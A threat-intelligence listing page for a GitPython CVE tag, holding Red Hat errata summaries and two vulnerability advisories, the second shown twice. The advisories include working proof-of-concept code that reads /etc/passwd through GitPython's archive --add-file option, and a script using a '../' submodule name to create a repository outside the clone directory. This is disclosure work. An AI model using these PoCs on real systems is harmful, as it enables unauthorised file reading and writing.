Skip to main content

Threats Tagged 'cve-2026-76222'

View all threats tagged with 'cve-2026-76222'. Filter and sort to focus on specific types of threats.

Pro Console Lifetime

Stop chasing alerts. Route them.

Start free, then upgrade once to turn Radar into an automated delivery engine for your security stack.

Custom feeds / Automations: email, Slack, webhooks, SIEM/MISP / API access (baseline limits)

View Plans & Pricing

API access activates after upgrading in Console -> Billing.

Breach by OffSeqOFFSEQFRIENDS — 25% OFF

Check if your credentials are on the dark web

Instant breach scanning across billions of leaked records. Free tier available.

Scan now

Filter Threats

Narrow down the results by type, severity, or affected countries

Search threats by title, CVE ID, or description. Maximum 100 characters.
Active filters (1):Tag: cve-2026-76222

Threats Tagged 'cve-2026-76222'

Click on any threat for detailed analysis and mitigation recommendations

Release of RHOAI 3.5.1 provides these changes:

Join the discussion

Red Hat Lightspeed in Satellite analyzes system health and configuration by applying predefined rules to a small set of local data, such as installed packages, running services, and configuration settings.

Join the discussion

Red Hat Lightspeed in Satellite analyzes system health and configuration by applying predefined rules to a small set of local data, such as installed packages, running services, and configuration settings.

Join the discussion

Red Hat Satellite is a system management solution that allows organizations to configure and maintain their systems without the necessity to provide public Internet access to their servers or other client systems. It performs provisioning and configuration management of predefined standard operating environments. Security Fix(es): * ansible-core: argument injection in ansible-galaxy role install leads to arbitrary code execution (CVE-2026-11332) * ansible-core: argument injection in ansible-galaxy collection install via git clone (incomplete fix for CVE-2026-11332) (CVE-2026-16493) * openvox-server: jackson-databind: Arbitrary code execution via PolymorphicTypeValidator bypass (CVE-2026-54512) * puppetserver: jackson-databind: Arbitrary code execution via PolymorphicTypeValidator bypass (CVE-2026-54512) * rubygem-jwt: ruby-jwt: Authentication bypass due to empty key in HMAC verification (CVE-2026-45363) * python-aiohttp: AIOHTTP: Denial of Service via malformed HTTP responses (CVE-2026-69244) * python-aiohttp: AIOHTTP: HTTP Request Smuggling via WebSocket Upgrade (CVE-2026-69243) * python-aiohttp: AIOHTTP: Arbitrary code execution via untrusted input to CookieJar.load() (CVE-2026-34993) * openvox-server: jackson-core: Denial of Service via incomplete fix in async JSON parser (CVE-2026-68494) * openvox-server: Eclipse Jetty: Information disclosure due to retained HTTP/1.1 trailers across connections (CVE-2026-10051) * python-gitpython: GitPython: Arbitrary File Overwrite via improper git option validation (CVE-2026-73624) * python-gitpython: GitPython: Remote Code Execution via kwarg value smuggling (CVE-2026-73625) * python-gitpython: GitPython: Information disclosure via environment variable expansion in URL handling (CVE-2026-73622) * python-gitpython: GitPython: Remote Code Execution via malicious Git template (CVE-2026-73623) * python-gitpython: GitPython: Arbitrary file overwrite and read via unsafe git option forwarding (CVE-2026-73620) * python-gitpython: GitPython: Arbitrary code execution via improper validation of clone options (CVE-2026-42284) * python3.12-gitpython: GitPython: Arbitrary code execution via improper validation of clone options (CVE-2026-42284) * python-gitpython: GitPython: Arbitrary command execution due to bypass of dangerous Git option checks (CVE-2026-42215) * python3.12-gitpython: GitPython: Arbitrary command execution due to bypass of dangerous Git option checks (CVE-2026-42215) * python-gitpython: GitPython: Arbitrary code execution via injected newlines in Git configuration (CVE-2026-44244) * python3.12-gitpython: GitPython: Arbitrary code execution via injected newlines in Git configuration (CVE-2026-44244) * python-gitpython: GitPython: Arbitrary file creation via path traversal in .gitmodules submodule names (CVE-2026-76222) * python3.12-gitpython: GitPython: Arbitrary file creation via path traversal in .gitmodules submodule names (CVE-2026-76222) * python-gitpython: GitPython: Remote Code Execution via malicious Git hooks (CVE-2026-76218) * python3.12-gitpython: GitPython: Remote Code Execution via malicious Git hooks (CVE-2026-76218) * python-gitpython: GitPython: Arbitrary command execution via crafted kwargs (CVE-2026-76220) * python3.12-gitpython: GitPython: Arbitrary command execution via crafted kwargs (CVE-2026-76220) * python-gitpython: GitPython: Arbitrary File Overwrite via `git read-tree` option injection (CVE-2026-76219) * python3.12-gitpython: GitPython: Arbitrary File Overwrite via `git read-tree` option injection (CVE-2026-76219) * python-gitpython: GitPython: Arbitrary code execution via config-name injection (CVE-2026-76221) * python3.12-gitpython: GitPython: Arbitrary code execution via config-name injection (CVE-2026-76221)

Join the discussion

**Target:** gitpython-developers/GitPython **Tested:** HEAD `07e80555` (2026-07-25), latest release 3.1.55, `git version 2.50.1` ## Summary `Repo.archive()` does call the option guard, so this is not a missing-guard report. The guard is present and working; the **denylist it consults is incomplete**. ```python # git/repo/base.py:169 unsafe_git_archive_options = [ # Allows arbitrary command execution through the remote git-upload-archive command. "--exec", # Writes output to a caller-controlled filesystem path. "--output", "-o", ] ``` The comment on `--output` states the protected class in the project's own words: an option that lets the caller name **a filesystem path** is unsafe. `--output` is blocked because it *writes* to a caller-chosen path. `git archive` also accepts `--add-file=<path>` and `--add-virtual-file=<path:content>` (both present in current git; verified against `git version 2.50.1`). `--add-file` *reads* a caller-chosen path — including an absolute path outside the repository — and places the bytes into the archive the caller receives. Neither option is in the list, and no other layer references them: ``` $ grep -rniE "add.file|add_file" git/ git/index/base.py:771: R"""Add files from the working tree, ... # unrelated docstring ``` Net effect: the guard blocks arbitrary file **write** at this sink while permitting arbitrary file **read** at the same sink. ## Reachability proof (verified at the sink) `poc/poc_addfile.py` at HEAD `07e80555`. The PoC creates its own out-of-tree canary, so it runs from a clean machine: ``` -- CONTROL: options the denylist covers (expect BLOCKED) -- [BLOCKED] output='/tmp/gp_written.tar': --output is not allowed, use `allow_unsafe_options=True` to allow it. [BLOCKED] o='/tmp/gp_written.tar': -o is not allowed, use `allow_unsafe_options=True` to allow it. [BLOCKED] exec='touch /tmp/gp_exec': --exec is not allowed, use `allow_unsafe_options=True` to allow it. -- SIBLING OMITTED FROM THE DENYLIST: --add-file (expect ALLOWED) -- [ALLOWED] add_file='/tmp/gp_canary.txt' -> archive 10240 bytes archive members: ['f.txt', 'gp_canary.txt'] >>> EXFILTRATED gp_canary.txt: 'secret-canary-12345' >>> byte-for-byte match with the out-of-tree file: CONFIRMED -- also: --add-virtual-file (attacker-chosen name AND content) -- [ALLOWED] add_virtual_file='pwn.txt:hello' -> archive 10240 bytes ``` The three blocked lines are the control: they prove the guard is active on this call path, so the fourth result is a gap in list membership rather than a guard that never ran. Minimal reproduction: ```python import io, tarfile from git import Repo buf = io.BytesIO() Repo("/path/to/repo").archive(buf, format="tar", add_file="/etc/passwd") print(tarfile.open(fileobj=io.BytesIO(buf.getvalue())).getnames()) # ['<repo files>', 'passwd'] <- contents readable by whoever receives the archive ``` The canary is untracked and lives outside the repository; its contents are recovered from the returned archive and asserted byte-for-byte against the on-disk file. The option is rendered by `transform_kwargs` into `--add-file=<path>` and reaches `git archive` unmodified. ## Direct precedent `GHSA-6p8h-3wgx-97gf` (High, published 2026-07-22) is the same defect on the sibling list: *"Incomplete `unsafe_git_clone_options` denylist omits `--template`"* — an option absent from one of these denylists, reachable under the same caller-controlled-options precondition, accepted and fixed by adding it. `git log` shows the archive list itself has already been extended reactively once, in `701ce32f` (*fix: Guard unsafe git command options*, GHSA-956x-8gvw-wg5v), and the `--template` omission was then fixed separately in `ffcb5359`. ## `--add-virtual-file` is the same gap pointing the other way `--add-virtual-file=<path:content>` lets the caller inject **attacker-chosen content under an attacker-chosen name** into an archive that downstream consumers will reasonably treat as repository-derived. ## Suggested remediation 1. **Preferred — allowlist.** `Repo.archive()` has a small legitimate option surface (`format`, `prefix`, `worktree_attributes`, `remote`, compression level, plus paths). Accepting those and rejecting the rest means a future git release cannot add another path-taking option that silently reopens this. 2. **Minimum — extend the list** with `--add-file` and `--add-virtual-file`, and make the membership rule *"the option takes a filesystem path or URL"* rather than *"the option executes a command"*. The existing comment on `--output` already implies that rule; applying it consistently is what closes the class instead of this instance. ## Scope limits - Impact is **arbitrary file read at the privileges of the process**. Not code execution — I make no such claim here. - It requires the embedding application to forward caller-influenced kwargs into `Repo.archive()`. That is the identical precondition to `--output`, `--exec` and `--template`,

Join the discussion

### Summary GitPython computes the on-disk location of a submodule's separate Git directory (`.git/modules/<name>`) from the submodule's `.gitmodules` section name with no validation. Because that name is fully attacker-controlled content of a cloned repository, a malicious repository can set a submodule name to a traversal string (e.g. `../../../../home/victim/.something`) and cause GitPython to create and initialize a full Git repository at an attacker-chosen filesystem path outside the intended clone directory. The only precondition is that a victim clones the malicious repository with GitPython and runs submodule initialization (`submodule_update(init=True)` / `sm.update(init=True)`), a very common and often automatic step. Core Git itself already blocks this exact attack class (CVE-2018-11235), but GitPython's independent reimplementation never adopted an equivalent check. ### Details `src/GitPython/git/objects/submodule/util.py` `sm_name()` strips the `submodule "` / `"` wrapper from a `.gitmodules` `[submodule "..."]` header and returns the result unchecked. `Submodule.iter_items()` in `src/GitPython/git/objects/submodule/base.py` reads this via `sm_name(sms)` and assigns it to `sm._name`; unlike the submodule `path`, `name` is never used for a tree lookup, so it is never implicitly validated. `Submodule._module_abspath()` then builds `osp.join(parent_repo.git_dir, "modules", name)` - `os.path.join` does not normalize `../` sequences. `Submodule._clone_repo()` passes this value straight to `os.makedirs()` and to `git clone --separate-git-dir=<module_abspath>`, creating and populating a full Git repository (objects, refs, hooks, config) at the escaped path. Attack prerequisite: attacker controls a repository the victim clones and initializes submodules for. ### PoC 1. Environment: Docker image built `FROM python:3.11-slim`, with `git` installed via `apt-get install -y git` (Debian bookworm packaged version, described in the advisory as "git 2.x"; the host-side verification separately used system git `2.34.1`, but no exact version is pinned for the git binary inside this Docker image). GitPython is installed inside the container via `pip install /src/GitPython` from this repository's own source, which the advisory states resolved to the officially released `GitPython==3.1.57` and `gitdb==4.0.12`. 2. Configuration / preconditions: None beyond what's described - the victim must clone the attacker's repository with GitPython and run submodule initialization (`repo.submodules` + `sm.update(init=True)`, equivalent to `git submodule update --init`). 3. Commands run (quoted verbatim from the advisory's "Confirmed test run" section): ```bash $ docker build -f GHSA/testing/Dockerfile -t ghsa-gitpython-poc . $ docker run --rm ghsa-gitpython-poc ``` (Per the Dockerfile, `docker run` executes `/work/run_all.sh`, which in turn runs `build_attacker_repo.sh`, then `poc_gitpython.py`, then `poc_control_realgit.sh`.) 4. Full source of the PoC script (`GHSA/testing/poc_gitpython.py`), verbatim: ```python """GHSA-001 PoC: GitPython side. Clones the attacker repo and runs the equivalent of `git submodule update --init` via GitPython, then checks whether a git repository was created outside the clone directory. """ import os import shutil import git CLONE_DIR = '/work/victim_clone/repo' ESCAPE_TARGET = '/tmp/gitpython_poc_escaped_root' def main(): shutil.rmtree(os.path.dirname(CLONE_DIR), ignore_errors=True) shutil.rmtree(ESCAPE_TARGET, ignore_errors=True) os.makedirs(os.path.dirname(CLONE_DIR), exist_ok=True) print(f'GitPython version: {git.__version__}') repo = git.Repo.clone_from('/work/attacker_repo', CLONE_DIR) print('Cloned into:', repo.working_tree_dir) sms = list(repo.submodules) for sm in sms: print(' submodule name:', repr(sm.name)) print(' submodule path:', repr(sm.path)) print('escape_target exists before update:', os.path.exists(ESCAPE_TARGET)) for sm in sms: try: sm.update(init=True) except Exception as e: print('sm.update raised:', repr(e)) exists = os.path.exists(ESCAPE_TARGET) print('escape_target exists after update:', exists) if exists: print('escape_target contents:', os.listdir(ESCAPE_TARGET)) print('POC_RESULT=VULNERABLE' if exists else 'POC_RESULT=SAFE') if __name__ == '__main__': main() ``` 5. Exact captured terminal output (verbatim, from the original advisory's "Confirmed test run (Docker, released package)" section): ``` === GitPython PoC (vulnerable path) === GitPython version: 3.1.57 Cloned into: /work/victim_clone/repo submodule name: '../../../../../../tmp/gitpython_poc_escaped_root/modules_dir' submodule path: 'legit_dir' escape_target exists before update: False escape_target exists after update: True escape_target contents: ['modules_dir'] POC_RESULT=VULNERABLE === Control: real git CLI on identical repo === warning: ignoring suspicious submodule

Join the discussion

### Summary GitPython computes the on-disk location of a submodule's separate Git directory (`.git/modules/<name>`) from the submodule's `.gitmodules` section name with no validation. Because that name is fully attacker-controlled content of a cloned repository, a malicious repository can set a submodule name to a traversal string (e.g. `../../../../home/victim/.something`) and cause GitPython to create and initialize a full Git repository at an attacker-chosen filesystem path outside the intended clone directory. The only precondition is that a victim clones the malicious repository with GitPython and runs submodule initialization (`submodule_update(init=True)` / `sm.update(init=True)`), a very common and often automatic step. Core Git itself already blocks this exact attack class (CVE-2018-11235), but GitPython's independent reimplementation never adopted an equivalent check. ### Details `src/GitPython/git/objects/submodule/util.py` `sm_name()` strips the `submodule "` / `"` wrapper from a `.gitmodules` `[submodule "..."]` header and returns the result unchecked. `Submodule.iter_items()` in `src/GitPython/git/objects/submodule/base.py` reads this via `sm_name(sms)` and assigns it to `sm._name`; unlike the submodule `path`, `name` is never used for a tree lookup, so it is never implicitly validated. `Submodule._module_abspath()` then builds `osp.join(parent_repo.git_dir, "modules", name)` - `os.path.join` does not normalize `../` sequences. `Submodule._clone_repo()` passes this value straight to `os.makedirs()` and to `git clone --separate-git-dir=<module_abspath>`, creating and populating a full Git repository (objects, refs, hooks, config) at the escaped path. Attack prerequisite: attacker controls a repository the victim clones and initializes submodules for. ### PoC 1. Environment: Docker image built `FROM python:3.11-slim`, with `git` installed via `apt-get install -y git` (Debian bookworm packaged version, described in the advisory as "git 2.x"; the host-side verification separately used system git `2.34.1`, but no exact version is pinned for the git binary inside this Docker image). GitPython is installed inside the container via `pip install /src/GitPython` from this repository's own source, which the advisory states resolved to the officially released `GitPython==3.1.57` and `gitdb==4.0.12`. 2. Configuration / preconditions: None beyond what's described - the victim must clone the attacker's repository with GitPython and run submodule initialization (`repo.submodules` + `sm.update(init=True)`, equivalent to `git submodule update --init`). 3. Commands run (quoted verbatim from the advisory's "Confirmed test run" section): ```bash $ docker build -f GHSA/testing/Dockerfile -t ghsa-gitpython-poc . $ docker run --rm ghsa-gitpython-poc ``` (Per the Dockerfile, `docker run` executes `/work/run_all.sh`, which in turn runs `build_attacker_repo.sh`, then `poc_gitpython.py`, then `poc_control_realgit.sh`.) 4. Full source of the PoC script (`GHSA/testing/poc_gitpython.py`), verbatim: ```python """GHSA-001 PoC: GitPython side. Clones the attacker repo and runs the equivalent of `git submodule update --init` via GitPython, then checks whether a git repository was created outside the clone directory. """ import os import shutil import git CLONE_DIR = '/work/victim_clone/repo' ESCAPE_TARGET = '/tmp/gitpython_poc_escaped_root' def main(): shutil.rmtree(os.path.dirname(CLONE_DIR), ignore_errors=True) shutil.rmtree(ESCAPE_TARGET, ignore_errors=True) os.makedirs(os.path.dirname(CLONE_DIR), exist_ok=True) print(f'GitPython version: {git.__version__}') repo = git.Repo.clone_from('/work/attacker_repo', CLONE_DIR) print('Cloned into:', repo.working_tree_dir) sms = list(repo.submodules) for sm in sms: print(' submodule name:', repr(sm.name)) print(' submodule path:', repr(sm.path)) print('escape_target exists before update:', os.path.exists(ESCAPE_TARGET)) for sm in sms: try: sm.update(init=True) except Exception as e: print('sm.update raised:', repr(e)) exists = os.path.exists(ESCAPE_TARGET) print('escape_target exists after update:', exists) if exists: print('escape_target contents:', os.listdir(ESCAPE_TARGET)) print('POC_RESULT=VULNERABLE' if exists else 'POC_RESULT=SAFE') if __name__ == '__main__': main() ``` 5. Exact captured terminal output (verbatim, from the original advisory's "Confirmed test run (Docker, released package)" section): ``` === GitPython PoC (vulnerable path) === GitPython version: 3.1.57 Cloned into: /work/victim_clone/repo submodule name: '../../../../../../tmp/gitpython_poc_escaped_root/modules_dir' submodule path: 'legit_dir' escape_target exists before update: False escape_target exists after update: True escape_target contents: ['modules_dir'] POC_RESULT=VULNERABLE === Control: real git CLI on identical repo === warning: ignoring suspicious submodule

Join the discussion

Showing 1 to 7 of 7 results

Filters:Tag: cve-2026-76222
Page 1 of 1
OffSeq TrainingCredly Certified

Lead Pen Test Professional

Technical5-day eLearningPECB Accredited
View courses